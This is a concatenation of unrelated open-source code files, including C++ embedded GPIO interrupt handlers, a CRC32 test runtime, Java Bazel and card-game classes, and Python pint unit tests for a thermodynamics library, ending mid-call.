loadTables(); void startupTables(); private: ContextMutablePtr global_context; Databases databases; bool force_restore; bool force_attach; Strings databases_to_load; ParsedTablesMetadata metadata; Poco::Logger * log; std::atomic<size_t> tables_processed{0}; AtomicStopwatch stopwatch; ThreadPool pool; void removeUnresolvableDependencies(bool remove_loaded); void loadTablesInTopologicalOrder(ThreadPool & pool); DependenciesInfosIter removeResolvedDependency(const DependenciesInfosIter & info_it, TableNames & independent_database_objects); void startLoadingIndependentTables(ThreadPool & pool, size_t level); void checkCyclicDependencies() const; size_t getNumberOfTablesWithDependencies() const; void logDependencyGraph() const; }; }
1,088
369
<filename>module-bsp/board/rt1051/bellpx/irq_gpio.cpp // Copyright (c) 2017-2022, <NAME>. All rights reserved. // For licensing, see https://github.com/mudita/MuditaOS/LICENSE.md #include "board/irq_gpio.hpp" #include <Utils.hpp> #include "board.h" #include "FreeRTOS.h" #include "queue.h" #include "fsl_common.h" #include <fsl_qtmr.h> #include <fsl_gpc.h> #include "board/rt1051/bsp/eink/bsp_eink.h" #include <hal/key_input/KeyInput.hpp> #include <hal/battery_charger/BatteryChargerIRQ.hpp> #include "board/BoardDefinitions.hpp" #include "bsp/light_sensor/light_sensor.hpp" #include <bsp/lpm/RT1051LPM.hpp> namespace bsp { void irq_gpio_Init(void) { DisableIRQ(GPIO1_Combined_0_15_IRQn); DisableIRQ(GPIO1_Combined_16_31_IRQn); DisableIRQ(GPIO2_Combined_0_15_IRQn); DisableIRQ(GPIO2_Combined_16_31_IRQn); DisableIRQ(GPIO3_Combined_16_31_IRQn); DisableIRQ(GPIO5_Combined_0_15_IRQn); DisableIRQ(TMR3_IRQn); DisableIRQ(RTWDOG_IRQn); GPIO_PortDisableInterrupts(GPIO1, UINT32_MAX); GPIO_PortDisableInterrupts(GPIO2, UINT32_MAX); GPIO_PortDisableInterrupts(GPIO3, UINT32_MAX); GPIO_PortDisableInterrupts(GPIO5, UINT32_MAX); // Clear all IRQs GPIO_PortClearInterruptFlags(GPIO1, UINT32_MAX); GPIO_PortClearInterruptFlags(GPIO2, UINT32_MAX); GPIO_PortClearInterruptFlags(GPIO3, UINT32_MAX); GPIO_PortClearInterruptFlags(GPIO5, UINT32_MAX); QTMR_ClearStatusFlags(TMR3, kQTMR_Channel_0, kQTMR_CompareFlag | kQTMR_Compare1Flag | kQTMR_Compare2Flag | kQTMR_OverflowFlag | kQTMR_EdgeFlag); EnableIRQ(GPIO1_Combined_0_15_IRQn); NVIC_SetPriority(GPIO1_Combined_0_15_IRQn, configLIBRARY_LOWEST_INTERRUPT_PRIORITY); EnableIRQ(GPIO1_Combined_16_31_IRQn); NVIC_SetPriority(GPIO1_Combined_16_31_IRQn, configLIBRARY_LOWEST_INTERRUPT_PRIORITY); EnableIRQ(GPIO2_Combined_0_15_IRQn); NVIC_SetPriority(GPIO2_Combined_0_15_IRQn, configLIBRARY_LOWEST_INTERRUPT_PRIORITY); EnableIRQ(GPIO2_Combined_16_31_IRQn); NVIC_SetPriority(GPIO2_Combined_16_31_IRQn, configLIBRARY_LOWEST_INTERRUPT_PRIORITY); EnableIRQ(GPIO3_Combined_16_31_IRQn); NVIC_SetPriority(GPIO3_Combined_16_31_IRQn, configLIBRARY_LOWEST_INTERRUPT_PRIORITY); NVIC_ClearPendingIRQ(GPIO5_Combined_0_15_IRQn); EnableIRQ(GPIO5_Combined_0_15_IRQn); GPC_EnableIRQ(GPC, GPIO5_Combined_0_15_IRQn); EnableIRQ(TMR3_IRQn); NVIC_SetPriority(TMR3_IRQn, configLIBRARY_LOWEST_INTERRUPT_PRIORITY); NVIC_ClearPendingIRQ(RTWDOG_IRQn); EnableIRQ(RTWDOG_IRQn); } extern "C" { void GPIO1_Combined_0_15_IRQHandler(void) { BaseType_t xHigherPriorityTaskWoken = 0; uint32_t irq_mask = GPIO_GetPinsInterruptFlags(GPIO1); if (irq_mask & (1 << static_cast<uint32_t>(BoardDefinitions::BELL_BATTERY_CHARGER_CHGOK_PIN))) { xHigherPriorityTaskWoken |= hal::battery::charger_irq(); } if (irq_mask & (1 << static_cast<uint32_t>(BoardDefinitions::BELL_FUELGAUGE_ALRT_PIN))) { xHigherPriorityTaskWoken |= hal::battery::fuel_gauge_irq(); } // Clear all IRQs GPIO_PortClearInterruptFlags(GPIO1, irq_mask); // Switch context if necessary portEND_SWITCHING_ISR(xHigherPriorityTaskWoken); } void GPIO1_Combined_16_31_IRQHandler(void) { BaseType_t xHigherPriorityTaskWoken = 0; uint32_t irq_mask = GPIO_GetPinsInterruptFlags(GPIO1); // Clear all IRQs GPIO_PortClearInterruptFlags(GPIO1, irq_mask); // Switch context if necessary portEND_SWITCHING_ISR(xHigherPriorityTaskWoken); } void GPIO2_Combined_0_15_IRQHandler(void) { BaseType_t xHigherPriorityTaskWoken = 0; uint32_t irq_mask = GPIO_GetPinsInterruptFlags(GPIO2); if (irq_mask & (1 << BOARD_BATTERY_CHARGER_INOKB_PIN)) {} if (irq_mask & (1 << BOARD_BATTERY_CHARGER_WCINOKB_PIN)) {} if (irq_mask & (1 << BOARD_BATTERY_CHARGER_INTB_PIN)) { xHigherPriorityTaskWoken |= hal::battery::charger_irq(); } // Clear all IRQs GPIO_PortClearInterruptFlags(GPIO2, irq_mask); // Switch context if necessary portEND_SWITCHING_ISR(xHigherPriorityTaskWoken); } void GPIO2_Combined_16_31_IRQHandler(void) { BaseType_t xHigherPriorityTaskWoken = 0; uint32_t irq_mask = GPIO_GetPinsInterruptFlags(GPIO2); if (irq_mask & ((1 << static_cast<uint32_t>(BoardDefinitions::BELL_SWITCHES_RIGHT)) | (1 << static_cast<uint32_t>(BoardDefinitions::BELL_SWITCHES_LEFT)) | (1 << static_cast<uint32_t>(BoardDefinitions::BELL_SWITCHES_LATCH)))) { xHigherPriorityTaskWoken |= hal::key_input::GPIO2SwitchesIRQHandler(irq_mask); } if (irq_mask & (1 << static_cast<uint32_t>(BoardDefinitions::BELL_BATTERY_CHARGER_ACOK_PIN))) { xHigherPriorityTaskWoken |= hal::battery::charger_irq(); } // Clear all IRQs GPIO_PortClearInterruptFlags(GPIO2, irq_mask); // Switch context if necessary portEND_SWITCHING_ISR(xHigherPriorityTaskWoken); } void GPIO3_Combined_16_31_IRQHandler(void) { BaseType_t xHigherPriorityTaskWoken = 0; uint32_t irq_mask = GPIO_GetPinsInterruptFlags(GPIO3); if (irq_mask & (1 << BOARD_EINK_BUSY_GPIO_PIN)) { xHigherPriorityTaskWoken |= BSP_EinkBusyPinStateChangeHandler(); } // Clear all IRQs on the GPIO3 port GPIO_PortClearInterruptFlags(BOARD_EINK_BUSY_GPIO, irq_mask); // Switch context if necessary portEND_SWITCHING_ISR(xHigherPriorityTaskWoken); } void GPIO5_Combined_0_15_IRQHandler(void) { uint32_t irq_mask = GPIO_GetPinsInterruptFlags(GPIO5); BaseType_t xHigherPriorityTaskWoken = hal::key_input::GPIO5SwitchesIRQHandler( 1 << static_cast<uint32_t>(BoardDefinitions::BELL_CENTER_SWITCH)); // Clear all IRQs on the GPIO5 port GPIO_PortClearInterruptFlags(GPIO5, irq_mask); // Switch context if necessary portEND_SWITCHING_ISR(xHigherPriorityTaskWoken); } void TMR3_IRQHandler(void) { QTMR_ClearStatusFlags(TMR3, kQTMR_Channel_0, kQTMR_CompareFlag | kQTMR_Compare1Flag | kQTMR_Compare2Flag | kQTMR_OverflowFlag | kQTMR_EdgeFlag); hal::key_input::EncoderIRQHandler(); } void RTWDOG_IRQHandler(void) { // Asserting WDOG_B pin to provide power reset of whole board // Way to do it is via WDOG1 built-in assertion, RTWDOG does not provide it WDOG1->WCR &= ~WDOG_WCR_WDA_MASK; } } } // namespace bsp
3,967
435
<filename>pycon-us-2016/videos/parisa-tabriz-keynote-pycon-2016.json { "copyright_text": "Standard YouTube License", "description": "Speaker: <NAME>\n\nKeynote\n\nSlides can be found at: https://speakerdeck.com/pycon2016 and https://github.com/PyCon/2016-slides", "duration": 2268, "id": 5161, "language": "eng", "recorded": "2016-05-31", "related_urls": [ "https://github.com/PyCon/2016-slides", "https://speakerdeck.com/pycon2016" ], "slug": "parisa-tabriz-keynote-pycon-2016", "speakers": [ "<NAME>" ], "tags": [], "thumbnail_url": "https://i.ytimg.com/vi/kxqci2mZdrc/maxresdefault.jpg", "title": "Keynote", "videos": [ { "type": "youtube", "url": "https://www.youtube.com/watch?v=kxqci2mZdrc" } ] }
341
6,541
<reponame>albertobarri/idk /* -*- mode: C -*- * * Copyright (c) 2007-2010 The University of Utah * All rights reserved. * * This file is part of `csmith', a random generator of C programs. * * Redistribution and use in source and binary forms, with or without * modification, are permitted provided that the following conditions are met: * * * Redistributions of source code must retain the above copyright notice, * this list of conditions and the following disclaimer. * * * Redistributions in binary form must reproduce the above copyright * notice, this list of conditions and the following disclaimer in the * documentation and/or other materials provided with the distribution. * * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" * AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE * ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE * LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR * CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF * SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS * INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN * CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) * ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE * POSSIBILITY OF SUCH DAMAGE. */ #ifndef RANDOM_RUNTIME_H #define RANDOM_RUNTIME_H #ifdef CSMITH_MINIMAL #include "csmith_minimal.h" #else /*****************************************************************************/ #include <string.h> #define __STDC_LIMIT_MACROS #include "random_inc.h" static uint32_t crc32_tab[256]; static uint32_t crc32_context = 0xFFFFFFFFUL; static void crc32_gentab (void) { uint32_t crc; const uint32_t poly = 0xEDB88320UL; int i, j; for (i = 0; i < 256; i++) { crc = i; for (j = 8; j > 0; j--) { if (crc & 1) { crc = (crc >> 1) ^ poly; } else { crc >>= 1; } } crc32_tab[i] = crc; } } static void crc32_byte (uint8_t b) { crc32_context = ((crc32_context >> 8) & 0x00FFFFFF) ^ crc32_tab[(crc32_context ^ b) & 0xFF]; } #if defined(__SPLAT__) || defined (__COMPCERT__) || defined(NO_LONGLONG) static void crc32_8bytes (uint32_t val) { crc32_byte ((val>>0) & 0xff); crc32_byte ((val>>8) & 0xff); crc32_byte ((val>>16) & 0xff); crc32_byte ((val>>24) & 0xff); } static void transparent_crc (uint32_t val, char* vname, int flag) { crc32_8bytes(val); if (flag) { printf("...checksum after hashing %s : %X\n", vname, crc32_context ^ 0xFFFFFFFFU); } } #else static void crc32_8bytes (uint64_t val) { crc32_byte ((val>>0) & 0xff); crc32_byte ((val>>8) & 0xff); crc32_byte ((val>>16) & 0xff); crc32_byte ((val>>24) & 0xff); crc32_byte ((val>>32) & 0xff); crc32_byte ((val>>40) & 0xff); crc32_byte ((val>>48) & 0xff); crc32_byte ((val>>56) & 0xff); } static void transparent_crc (uint64_t val, char* vname, int flag) { crc32_8bytes(val); if (flag) { printf("...checksum after hashing %s : %lX\n", vname, crc32_context ^ 0xFFFFFFFFUL); } } #endif /*****************************************************************************/ #endif #endif /* RANDOM_RUNTIME_H */ /* * Local Variables: * c-basic-offset: 4 * tab-width: 4 * End: */ /* End of file. */
1,321
1,555
int printf(const char *, ...); int g; int *i = &g; float j; int main(void) { (*i) = 0xCFBCE008L; j = (0x0p1 > (*i)); return printf("%d, %f\n", *i, j); }
83
13,846
<reponame>legistek/AspNetCore // Copyright (c) Microsoft Corporation. All rights reserved. // Licensed under the MIT License. See License.txt in the project root for license information. #pragma once #include "requesthandler.h" #include "resource.h" #include "file_utility.h" class StartupExceptionHandler : public REQUEST_HANDLER { public: StartupExceptionHandler(IHttpContext& pContext, BOOL disableLogs, HRESULT hr) : m_pContext(pContext), m_disableLogs(disableLogs), m_HR(hr) { } ~StartupExceptionHandler() { } REQUEST_NOTIFICATION_STATUS OnExecuteRequestHandler() { static std::string s_html500Page = FILE_UTILITY::GetHtml(g_hModule, IN_PROCESS_SHIM_STATIC_HTML); WriteStaticResponse(m_pContext, s_html500Page, m_HR, m_disableLogs); return REQUEST_NOTIFICATION_STATUS::RQ_NOTIFICATION_FINISH_REQUEST; } private: IHttpContext& m_pContext; BOOL m_disableLogs; HRESULT m_HR; };
401
651
package net.serenitybdd.screenplay.jenkins.user_interface; import net.serenitybdd.core.pages.PageObject; import net.serenitybdd.screenplay.jenkins.targets.RadioButton; import net.serenitybdd.screenplay.jenkins.targets.Setting; import net.serenitybdd.screenplay.targets.Target; import net.thucydides.core.annotations.DefaultUrl; @DefaultUrl("/newView") public class NewViewPage extends PageObject { public static final Target View_Name = Target.the("View name").locatedBy("//*[@id='name']"); public static final Target Build_Monitor_View = RadioButton.withLabel("Build Monitor View"); }
206
764
{ "symbol": "ENC", "address": "0x0393ab33832c932C15aa6f19DeD20815633346A8", "overview": { "en": "Eosmos Network is is a cross-chain distributed game ecological platform based on blockchain technology.", "zh": "Eosmos Network是⼀个基于区块链技术的跨链分布式游戏生态平台。" }, "email": "<EMAIL>", "website": "https://eosmos.network", "whitepaper": "https://eosmos.network/static/eosmos-WhitePaper_en.pdf", "state": "NORMAL", "published_on": "2019-07-15", "links": { "twitter": "https://twitter.com/EosmosNetwork", "telegram": "https://t.me/eosmos_network" } }
278
2,338
<gh_stars>1000+ for (int c0 = 0; c0 <= 9; c0 += 1) { B(c0); if (c0 == 0) A(); }
52
1,546
package org.libpag; /** * Defines the values used in the setScaleMode method of PAGPlayer. */ public class PAGScaleMode { /** * The content is not scaled. */ public static final int None = 0; /** * The content is stretched to fit. */ public static final int Stretch = 1; /** * The content is scaled with respect to the original unscaled image's aspect ratio. * This is the default value. */ public static final int LetterBox = 2; /** * The content is scaled to fit with respect to the original unscaled image's aspect ratio. * This results in cropping on one axis. */ public static final int Zoom = 3; }
232
14,668
<reponame>zealoussnow/chromium // Copyright 2020 The Chromium Authors. All rights reserved. // Use of this source code is governed by a BSD-style license that can be // found in the LICENSE file. #ifndef ASH_WEBUI_TELEMETRY_EXTENSION_UI_SERVICES_DIAGNOSTICS_SERVICE_CONVERTERS_H_ #define ASH_WEBUI_TELEMETRY_EXTENSION_UI_SERVICES_DIAGNOSTICS_SERVICE_CONVERTERS_H_ #include <string> #include <utility> #include <vector> #include "ash/webui/telemetry_extension_ui/mojom/diagnostics_service.mojom-forward.h" #include "chromeos/services/cros_healthd/public/mojom/cros_healthd_diagnostics.mojom.h" #include "mojo/public/cpp/system/handle.h" #include "third_party/abseil-cpp/absl/types/optional.h" namespace ash { // TODO(https://crbug.com/1164001): Remove if cros_healthd::mojom moved to ash. namespace cros_healthd { namespace mojom = ::chromeos::cros_healthd::mojom; } // namespace cros_healthd namespace converters { // This file contains helper functions used by DiagnosticsService to convert its // types to/from cros_healthd DiagnosticsService types. namespace unchecked { health::mojom::RoutineUpdatePtr UncheckedConvertPtr( cros_healthd::mojom::RoutineUpdatePtr input); health::mojom::RoutineUpdateUnionPtr UncheckedConvertPtr( cros_healthd::mojom::RoutineUpdateUnionPtr input); health::mojom::InteractiveRoutineUpdatePtr UncheckedConvertPtr( cros_healthd::mojom::InteractiveRoutineUpdatePtr input); health::mojom::NonInteractiveRoutineUpdatePtr UncheckedConvertPtr( cros_healthd::mojom::NonInteractiveRoutineUpdatePtr input); health::mojom::RunRoutineResponsePtr UncheckedConvertPtr( cros_healthd::mojom::RunRoutineResponsePtr input); } // namespace unchecked absl::optional<health::mojom::DiagnosticRoutineEnum> Convert( cros_healthd::mojom::DiagnosticRoutineEnum input); std::vector<health::mojom::DiagnosticRoutineEnum> Convert( const std::vector<cros_healthd::mojom::DiagnosticRoutineEnum>& input); health::mojom::DiagnosticRoutineUserMessageEnum Convert( cros_healthd::mojom::DiagnosticRoutineUserMessageEnum input); health::mojom::DiagnosticRoutineStatusEnum Convert( cros_healthd::mojom::DiagnosticRoutineStatusEnum input); cros_healthd::mojom::DiagnosticRoutineCommandEnum Convert( health::mojom::DiagnosticRoutineCommandEnum input); cros_healthd::mojom::AcPowerStatusEnum Convert( health::mojom::AcPowerStatusEnum input); cros_healthd::mojom::NvmeSelfTestTypeEnum Convert( health::mojom::NvmeSelfTestTypeEnum input); cros_healthd::mojom::DiskReadRoutineTypeEnum Convert( health::mojom::DiskReadRoutineTypeEnum input); } // namespace converters } // namespace ash #endif // ASH_WEBUI_TELEMETRY_EXTENSION_UI_SERVICES_DIAGNOSTICS_SERVICE_CONVERTERS_H_
1,003
1,444
package mage.cards.t; import java.util.UUID; import mage.MageInt; import mage.abilities.Ability; import mage.abilities.common.BeginningOfUpkeepTriggeredAbility; import mage.abilities.common.SimpleActivatedAbility; import mage.abilities.costs.common.RemoveCountersSourceCost; import mage.abilities.effects.common.DamageTargetEffect; import mage.abilities.effects.common.counter.AddCountersSourceEffect; import mage.cards.CardImpl; import mage.cards.CardSetInfo; import mage.constants.CardType; import mage.constants.SubType; import mage.constants.TargetController; import mage.constants.Zone; import mage.counters.CounterType; import mage.target.common.TargetAnyTarget; /** * * @author fireshoes */ public final class ThornThallid extends CardImpl { public ThornThallid(UUID ownerId, CardSetInfo setInfo) { super(ownerId,setInfo,new CardType[]{CardType.CREATURE},"{1}{G}{G}"); this.subtype.add(SubType.FUNGUS); this.power = new MageInt(2); this.toughness = new MageInt(2); // At the beginning of your upkeep, put a spore counter on Thorn Thallid. this.addAbility(new BeginningOfUpkeepTriggeredAbility(new AddCountersSourceEffect(CounterType.SPORE.createInstance()), TargetController.YOU, false)); // Remove three spore counters from Thorn Thallid: Thorn Thallid deals 1 damage to any target. Ability ability = new SimpleActivatedAbility(Zone.BATTLEFIELD, new DamageTargetEffect(1), new RemoveCountersSourceCost(CounterType.SPORE.createInstance(3))); ability.addTarget(new TargetAnyTarget()); this.addAbility(ability); } private ThornThallid(final ThornThallid card) { super(card); } @Override public ThornThallid copy() { return new ThornThallid(this); } }
638
16,989
// Copyright 2020 The Bazel Authors. All rights reserved. // // Licensed under the Apache License, Version 2.0 (the "License"); // you may not use this file except in compliance with the License. // You may obtain a copy of the License at // // http://www.apache.org/licenses/LICENSE-2.0 // // Unless required by applicable law or agreed to in writing, software // distributed under the License is distributed on an "AS IS" BASIS, // WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. // See the License for the specific language governing permissions and // limitations under the License. package com.google.devtools.build.lib.analysis; import static com.google.common.truth.Truth.assertThat; import com.google.common.collect.ImmutableMap; import com.google.common.collect.ImmutableSet; import com.google.common.collect.Iterables; import com.google.common.testing.EqualsTester; import com.google.devtools.build.lib.analysis.AspectCollection.AspectDeps; import com.google.devtools.build.lib.analysis.config.HostTransition; import com.google.devtools.build.lib.analysis.config.transitions.NoTransition; import com.google.devtools.build.lib.analysis.util.AnalysisTestCase; import com.google.devtools.build.lib.analysis.util.TestAspects; import com.google.devtools.build.lib.cmdline.Label; import com.google.devtools.build.lib.packages.AspectDescriptor; import org.junit.Test; import org.junit.runner.RunWith; import org.junit.runners.JUnit4; /** Tests for {@link DependencyKey}. */ @RunWith(JUnit4.class) public class DependencyKeyTest extends AnalysisTestCase { @Test public void withTransitionAndAspects_BasicAccessors() throws Exception { AspectDescriptor simpleAspect = new AspectDescriptor(TestAspects.SIMPLE_ASPECT); AspectDescriptor attributeAspect = new AspectDescriptor(TestAspects.ATTRIBUTE_ASPECT); AspectCollection twoAspects = AspectCollection.createForTests(ImmutableSet.of(simpleAspect, attributeAspect)); DependencyKey hostDep = DependencyKey.builder() .setLabel(Label.parseAbsolute("//a", ImmutableMap.of())) .setTransition(HostTransition.INSTANCE) .setAspects(twoAspects) .build(); assertThat(hostDep.getLabel()).isEqualTo(Label.parseAbsolute("//a", ImmutableMap.of())); assertThat(Iterables.transform(hostDep.getAspects().getUsedAspects(), AspectDeps::getAspect)) .containsExactlyElementsIn( Iterables.transform(twoAspects.getUsedAspects(), AspectDeps::getAspect)); assertThat(hostDep.getTransition().isHostTransition()).isTrue(); } @Test public void withTransitionAndAspects_AllowsEmptyAspectSet() throws Exception { update(); DependencyKey dep = DependencyKey.builder() .setLabel(Label.parseAbsolute("//a", ImmutableMap.of())) .setTransition(HostTransition.INSTANCE) .setAspects(AspectCollection.EMPTY) .build(); // Here we're also checking that this doesn't throw an exception. No boom? OK. Good. assertThat(dep.getAspects().getUsedAspects()).isEmpty(); } @Test public void equalsPassesEqualsTester() throws Exception { update(); Label a = Label.parseAbsolute("//a", ImmutableMap.of()); Label aExplicit = Label.parseAbsolute("//a:a", ImmutableMap.of()); Label b = Label.parseAbsolute("//b", ImmutableMap.of()); AspectDescriptor simpleAspect = new AspectDescriptor(TestAspects.SIMPLE_ASPECT); AspectDescriptor attributeAspect = new AspectDescriptor(TestAspects.ATTRIBUTE_ASPECT); AspectDescriptor errorAspect = new AspectDescriptor(TestAspects.ERROR_ASPECT); AspectCollection twoAspects = AspectCollection.createForTests(simpleAspect, attributeAspect); AspectCollection inverseAspects = AspectCollection.createForTests(attributeAspect, simpleAspect); AspectCollection differentAspects = AspectCollection.createForTests(attributeAspect, errorAspect); new EqualsTester() .addEqualityGroup( // base set but with transition HOST DependencyKey.builder() .setLabel(a) .setTransition(HostTransition.INSTANCE) .setAspects(twoAspects) .build(), DependencyKey.builder() .setLabel(aExplicit) .setTransition(HostTransition.INSTANCE) .setAspects(twoAspects) .build(), DependencyKey.builder() .setLabel(a) .setTransition(HostTransition.INSTANCE) .setAspects(inverseAspects) .build(), DependencyKey.builder() .setLabel(aExplicit) .setTransition(HostTransition.INSTANCE) .setAspects(inverseAspects) .build()) .addEqualityGroup( // base set but with transition HOST and different aspects DependencyKey.builder() .setLabel(a) .setTransition(HostTransition.INSTANCE) .setAspects(differentAspects) .build(), DependencyKey.builder() .setLabel(aExplicit) .setTransition(HostTransition.INSTANCE) .setAspects(differentAspects) .build()) .addEqualityGroup( // base set but with transition HOST and label //b DependencyKey.builder() .setLabel(b) .setTransition(HostTransition.INSTANCE) .setAspects(twoAspects) .build(), DependencyKey.builder() .setLabel(b) .setTransition(HostTransition.INSTANCE) .setAspects(inverseAspects) .build()) .addEqualityGroup( // inverse of base set: transition HOST, label //b, different aspects DependencyKey.builder() .setLabel(b) .setTransition(HostTransition.INSTANCE) .setAspects(differentAspects) .build(), DependencyKey.builder() .setLabel(b) .setTransition(HostTransition.INSTANCE) .setAspects(differentAspects) .build()) .addEqualityGroup( // base set but with transition NONE DependencyKey.builder() .setLabel(a) .setTransition(NoTransition.INSTANCE) .setAspects(twoAspects) .build(), DependencyKey.builder() .setLabel(aExplicit) .setTransition(NoTransition.INSTANCE) .setAspects(twoAspects) .build(), DependencyKey.builder() .setLabel(a) .setTransition(NoTransition.INSTANCE) .setAspects(inverseAspects) .build(), DependencyKey.builder() .setLabel(aExplicit) .setTransition(NoTransition.INSTANCE) .setAspects(inverseAspects) .build()) .addEqualityGroup( // base set but with transition NONE and different aspects DependencyKey.builder() .setLabel(a) .setTransition(NoTransition.INSTANCE) .setAspects(differentAspects) .build(), DependencyKey.builder() .setLabel(aExplicit) .setTransition(NoTransition.INSTANCE) .setAspects(differentAspects) .build()) .addEqualityGroup( // base set but with transition NONE and label //b DependencyKey.builder() .setLabel(b) .setTransition(NoTransition.INSTANCE) .setAspects(twoAspects) .build(), DependencyKey.builder() .setLabel(b) .setTransition(NoTransition.INSTANCE) .setAspects(inverseAspects) .build()) .addEqualityGroup( // inverse of base set: transition NONE, label //b, different aspects DependencyKey.builder() .setLabel(b) .setTransition(NoTransition.INSTANCE) .setAspects(differentAspects) .build(), DependencyKey.builder() .setLabel(b) .setTransition(NoTransition.INSTANCE) .setAspects(differentAspects) .build()) .testEquals(); } }
3,927
380
# -*- coding: utf-8 -*- '''Chemical Engineering Design Library (ChEDL). Utilities for process modeling. Copyright (C) 2017, 2018, 2019, 2020 <NAME> <<EMAIL>> Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions: The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software. THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.''' from __future__ import division import pint import types import numpy as np import pytest import fluids import thermo from thermo.units import * import thermo.units from fluids.numerics import assert_close, assert_close1d, assert_close2d def assert_pint_allclose(value, magnitude, units, rtol=1e-7, atol=0): assert_close(value.to_base_units().magnitude, magnitude, rtol=rtol, atol=atol) if type(units) != dict: units = dict(units.dimensionality) assert dict(value.dimensionality) == units def assert_pint_allclose1d(value, magnitude, units, rtol=1e-7, atol=0): assert_close1d(value.to_base_units().magnitude, magnitude, rtol=rtol, atol=atol) if type(units) != dict: units = dict(units.dimensionality) assert dict(value.dimensionality) == units def assert_pint_allclose2d(value, magnitude, units, rtol=1e-7, atol=0): assert_close2d(value.to_base_units().magnitude, magnitude, rtol=rtol, atol=atol) if type(units) != dict: units = dict(units.dimensionality) assert dict(value.dimensionality) == units def test_VDW_units(): eos = VDW(Tc=507.6*u.K, Pc=3.025000*u.MPa, T=300.*u.K, P=1*u.MPa) assert_pint_allclose(eos.U_dep_l, -11108.719659078508, u.J/(u.mol)) assert_pint_allclose(eos.Zc, 0.375, {}) def test_PR_units(): eos = PR(Tc=507.6*u.K, Pc=3.025000*u.MPa, T=300.*u.K, P=1*u.MPa, omega=0.015*u.dimensionless) assert_pint_allclose(eos.c1, 0.4572355289213822, {}) assert_pint_allclose(eos.c2, 0.07779607390388846, {}) def test_SRKTranslated_units(): trans = SRKTranslated(T=305*u.K, P=1.1*u.bar, Tc=512.5*u.K, Pc=8084000.0*u.Pa, omega=0.559, c=-1e-6*u.m**3/u.mol) assert_pint_allclose(trans.c, -1e-6, u.m**3/u.mol) def test_IG_units(): base = IG(T=300.0*u.K, P=1e6*u.Pa) assert_pint_allclose(base.U_dep_g, 0, u.J/(u.mol)) assert_pint_allclose(base.Cp_dep_g, 0, u.J/(u.mol*u.K)) assert_pint_allclose(base.S_dep_g, 0, u.J/(u.mol*u.K)) assert_pint_allclose(base.H_dep_g, 0, u.J/(u.mol)) assert_pint_allclose(base.dH_dep_dT_g, 0, u.J/(u.mol*u.K)) ans = base.a_alpha_and_derivatives_pure(300*u.K) assert_pint_allclose(ans[0], 0, u("J^2/mol^2/Pa")) assert_pint_allclose(ans[1], 0, u("J^2/mol^2/Pa/K")) assert_pint_allclose(ans[2], 0, u("J^2/mol^2/Pa/K^2")) T = base.solve_T(P=1e8*u.Pa, V=1e-4*u.m**3/u.mol) assert_pint_allclose(T, 1202.7235504272605, u.K) assert_pint_allclose(base.V_g, 0.002494338785445972, u.m**3/u.mol) assert_pint_allclose(base.T, 300, u.K) assert_pint_allclose(base.P, 1e6, u.Pa) def test_IGMIX_units(): eos = PRMIX(T=115*u.K, P=1*u.MPa, Tcs=[126.1, 190.6]*u.K, Pcs=[33.94E5, 46.04E5]*u.Pa, omegas=[0.04, .008]*u.dimensionless, zs=[0.5, 0.5]*u.dimensionless) def test_IGMIX_units(): eos = IGMIX(T=115*u.K, P=1*u.MPa, Tcs=[126.1, 190.6]*u.K, Pcs=[33.94E5, 46.04E5]*u.Pa, omegas=[0.04, .008]*u.dimensionless, zs=[0.5, 0.5]*u.dimensionless) assert_pint_allclose(eos.V_g, 0.0009561632010876225, u.m**3/u.mol) assert_pint_allclose1d(eos.Tcs, [126.1, 190.6], u.K) assert_pint_allclose1d(eos.Pcs, [33.94E5, 46.04E5], u.Pa) assert_pint_allclose1d(eos.zs, [0.5, 0.5], {}) assert_pint_allclose(eos.PIP_g, 1, {}) assert_pint_allclose(eos.pseudo_Pc, 3999000, u.Pa) assert_pint_allclose2d(eos.a_alpha_ijs, [[0, 0],[0,0]], u("J**2/(mol**2*Pa)")) assert_pint_allclose(eos.d2P_dT2_g, 0, u.Pa/u.K**2) @pytest.mark.deprecated def test_custom_wraps(): C = Stream(['ethane'], T=200*u.K, zs=[1], n=1*u.mol/u.s) D = Stream(['water', 'ethanol'], ns=[1, 2,]*u.mol/u.s, T=300*u.K, P=1E5*u.Pa) E = C + D assert_pint_allclose(E.zs, [ 0.5, 0.25, 0.25], {}) assert_pint_allclose(E.T, 200, {'[temperature]': 1.0}) def test_no_bad_units(): assert not thermo.units.failed_wrapping def test_wrap_UNIFAC_classmethod(): from thermo.unifac import DOUFIP2006, DOUFSG T = 373.15*u.K xs = [0.2, 0.3, 0.1, 0.4] chemgroups = [{9: 6}, {78: 6}, {1: 1, 18: 1}, {1: 1, 2: 1, 14: 1}] GE = UNIFAC.from_subgroups(T=T, xs=xs, chemgroups=chemgroups, version=1, interaction_data=DOUFIP2006, 